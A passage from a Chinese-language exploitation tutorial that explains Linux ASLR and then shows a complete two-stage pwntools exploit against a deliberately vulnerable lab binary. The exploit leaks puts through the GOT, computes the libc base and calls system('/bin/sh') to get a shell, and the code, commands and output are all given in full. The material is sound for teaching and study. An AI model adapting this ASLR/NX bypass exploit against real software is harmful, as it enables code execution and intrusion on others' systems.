基本上符合之前对randomize_va_space的介绍, 栈的初始化通过setup_arg_pages() 来实现; 启用Full Randomization时, brk()函数的地址通过arch_randomize_brk() 来进行初始化. 一步步追踪下去可以看到每个函数的具体实现, 关键的实现在/drivers/char/random.c 中的randomize_page()函数中:

/*
 * NOTE: Historical use of randomize_range, which this replaces, presumed that
 * @start was already page aligned.  We now align it regardless.
 *
 * Return: A page aligned address within [start, start + range).  On error,
 * @start is returned.
 */
unsigned long
randomize_page(unsigned long start, unsigned long range)
{
	if (!PAGE_ALIGNED(start)) {
		range -= PAGE_ALIGN(start) - start;
		start = PAGE_ALIGN(start);
	}

	if (start > ULONG_MAX - range)
		range = ULONG_MAX - start;

	range >>= PAGE_SHIFT;

	if (range == 0)
		return start;

	return start + (get_random_long() % range << PAGE_SHIFT);
}

通过传入起始地址和范围, 返回一个在改范围内随机的(且对其的)地址. 想深入了解的同学可以参考0x00sec安全团队ricksanchez的这篇文章.

ASLR的设计愿景很美好, 但不是完美的. 尤其是在32位地址空间中, 其中一个 缺陷就是被内存碎片问题限制了ASLR的实现. 从前面的内存映射图中可以看到, 地址空间被切分为几个大块, 其中留下了一些小空隙. 而程序或者动态库加载入 内存时, 通常要求一定大小的连续空间, 这么一来, 虽然地址可以随机化, 但也只能在一个较小的范围内操作.

ASLR的可靠性是建立在地址随机且无法猜测的基础上, 但较小的随机范围, 就可以通过暴力猜测有限的次数来获得, 用术语来说就是, 熵太低. 通常32位系统 可提供随机的地址空间也就只有16位, 通常可以在几分钟内爆破出来. 当然, 前提是程序不能在中途崩溃退出. 这个问题在64位系统下稍微有所缓解, 但也并不是绝对的.

绕过ASLR的方法, 其实和绕过Canary有点类似. 在程序的一次运行过程中, 地址空间的布局只在被加载时随机化一次, 所以在运行过程中, 先在第一阶段 获取实际的地址, 再第二阶段构造相应的payload就可以实现上述的利用.

这里还是以上节使用的victim_nx为例, 来说明如果在ASLR情况下利用. 再次看下运行时候的选项:

$ gdb ./victim_nx
(gdb) source ~/tools/peda/peda.py
gdb-peda$ aslr on
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ aslr 
ASLR is ON

我们的计划分为两步, 第一步和之前绕过NX时Return-to-libc类似, 还记得之前让大家 记住的那个地址吗, 就是我们填充为BBBB的那个. 我们还是用类似的方法, 不过这次是 Return-to-plt, 第一轮攻击后栈布局如下:

...[22字节]+[puts@plt]+[entry_point]+[puts@got]

这样的作用是调用puts@plt, 其输入参数为puts@got, 且调用结束后返回程序的入口点.

为什么是puts? 因为这里已知程序中用到puts函数(printf实际上调用了puts), 如果是新程序可以通过readelf --relocs ./victim_nx来查看重定向.

之前都是用单行python来输出payload, 这次由于有分步骤多次交互, 所以就写一个 python脚本来测试和利用, 为了方便用pwntools框架先写个基本框架:

# exp.py
# -*- coding: utf-8 -*-
from pwn import *

# 地址
puts_plt = 0x8048350
puts_got = 0x804a010
entry_point = 0x8048390

def main():
    p = process('./victim_nx')
    # stage 1
    payload = 'A' * 22
    ropchain = p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)
    payload = payload + ropchain
    log.info('payload: {}'.format(repr(payload)))
    p.clean()
    p.sendline(payload)
    p.recvlines(1)  #先忽略掉正常输出的一行
    leak = p.recv(4)
    leak = u32(leak)
    log.info('puts@plt is at: 0x{:x}'.format(leak))
    p.clean()

if __name__ == '__main__':
    main()

我们需要填入三个地址, 分别是puts@plt, puts@got和程序入口点entry_point. 如果禁用了位置无关(-no-pie)编译, 可执行文件本身还是会加载到绝对虚拟地址的: 查看puts@plt的地址:

objdump -d -j .plt ./victim_nx | grep puts
08048350 <puts@plt>:

查看puts@got的地址:

readelf --relocs ./victim_nx | grep puts
0804a010  00000207 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0

查看起始地址:

$ readelf -h ./victim_nx | grep Entry
  Entry point address:               0x8048390

运行两次看看:

$ python exp.py 
[+] Starting local process './victim_nx': pid 32682
[*] payload: 'AAAAAAAAAAAAAAAAAAAAAAP\x83\x04\x08\x90\x83\x04\x08\x10\xa0\x04\x08'
[*] puts is at: 0xf7558870
[*] Stopped process './victim_nx' (pid 32682)
$ python exp.py 
[+] Starting local process './victim_nx': pid 32689
[*] payload: 'AAAAAAAAAAAAAAAAAAAAAAP\x83\x04\x08\x90\x83\x04\x08\x10\xa0\x04\x08'
[*] puts is at: 0xf75b7870
[*] Stopped process './victim_nx' (pid 32689)

可以看到两次输出的puts地址都不一样, 所以我们无法在运行前预测到这个地址. 第一阶段完成了, 输出了puts的地址并回到程序起点. 因为只是跳转到程序起点 而不是重启程序, 所以这次我们可以利用输出的puts地址进行第二阶段的利用.

第二阶段

根据输出的puts地址, 我们可以根据其想对于libc的偏移, 计算出libc基址, 然后根据libc基址, 获得system函数和"/bin/sh"字符串的地址, 最后跳转执行. 第二阶段的payload和普通的ret2libc差不多:

...[22字节][system地址(返回地址)][4字节]["/bin/sh"地址]

为此, 我们需要知道三者的偏移量, 这里用radare2套件中的rabin2和rafind2:

$ rabin2 -s /lib/i386-linux-gnu/libc.so.6 | egrep 'puts|system'
435 0x0005f870 0x0005f870   WEAK   FUNC  509 puts
1461 0x0003ab30 0x0003ab30   WEAK   FUNC   55 system
$ rafind2 -z -s /bin/sh /lib/i386-linux-gnu/libc.so.6
0x15ce48

通过简单的小学数学, 我们就能计算出想要的内存地址了, 加上第二阶段payload如下:

# -*- coding: utf-8 -*-
from pwn import *

# 地址
puts_plt = 0x8048350
puts_got = 0x804a010
entry_point = 0x8048390

# 偏移
offset_puts = 0x0005f870
offset_system = 0x0003ab30
offset_str_bin_sh = 0x15ce48

def main():
    p = process('./victim_nx')
    # stage 1
    payload = 'A' * 22
    ropchain = p32(puts_plt)
    ropchain += p32(entry_point)
    ropchain += p32(puts_got)
    payload = payload + ropchain
    log.info('payload: {}'.format(repr(payload)))
    p.clean()
    p.sendline(payload)
    p.recvlines(1)  #先忽略掉正常输出的一行
    leak = p.recv(4)
    leak = u32(leak)
    log.info('puts is at: 0x{:x}'.format(leak))
    p.clean()

    # stage 2
    libc_base = leak - offset_puts
    log.info('libc_base is at 0x{:x}'.format(libc_base))
    payload = 'A' * 22
    ropchain = p32(libc_base + offset_system)
    ropchain += 'BBBB'
    ropchain += p32(libc_base + offset_str_bin_sh)
    payload = payload + ropchain
    p.sendline(payload)
    log.success('Shell is comming!')
    p.clean()
    p.interactive()


if __name__ == '__main__':
    main()

让我们运行一下看这个exploit的结果如何:

$ python exp.py 
[+] Starting local process './victim_nx': pid 593
[*] payload: 'AAAAAAAAAAAAAAAAAAAAAAP\x83\x04\x08\x90\x83\x04\x08\x10\xa0\x04\x08'
[*] puts is at: 0xf7618870
[*] libc_base is at 0xf75b9000
[+] Shell is comming!
[*] Switching to interactive mode
$ whoami
pan
$ uname -a
Linux debian 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux
$ exit  
[*] Got EOF while reading in interactive
[*] Process './victim_nx' stopped with exit code -11 (SIGSEGV) (pid 593)
[*] Got EOF while sending in interactive

完美地绕过了ASLR和NX的保护, 成功获取shell! 这里把shellcode执行后的返回地址设为’BBBB’, 因为我们并不关心后续如何, 如果你想优雅退出程序的话, 将其改为exit函数的地址即可, 这个就留给同学们自己实现了:)

最后提下Windows系统. Windows Vista及其之后的版本支持在链接可执行文件或DLL时启用ASLR, 但对其他模块却默认不启用, 所以对于windows系统, 我们可以通过未启用ASLR的模块来绕过该保护.

总结

本文从最初的栈溢出开始, 逐步介绍了缓冲溢出的缓解措施以及绕过方法. 值得注意的是, 每种漏洞缓解措施单独来看都是脆弱的, 比如ASLR本身无法防止jmp esp执行shellcode, 而NX本身又很容易被ret2libc绕过. 很多漏洞缓解措施虽然各个操作系统实现不同, 但原理也是相通的. 所以只有分别了解其原理, 才能在漏洞利用中灵活地选取突破策略.

最后, 感谢RE4B群里小伙伴们的热心答疑, 特别是Larryxi大神, 总是能一针见血地指出 问题要害!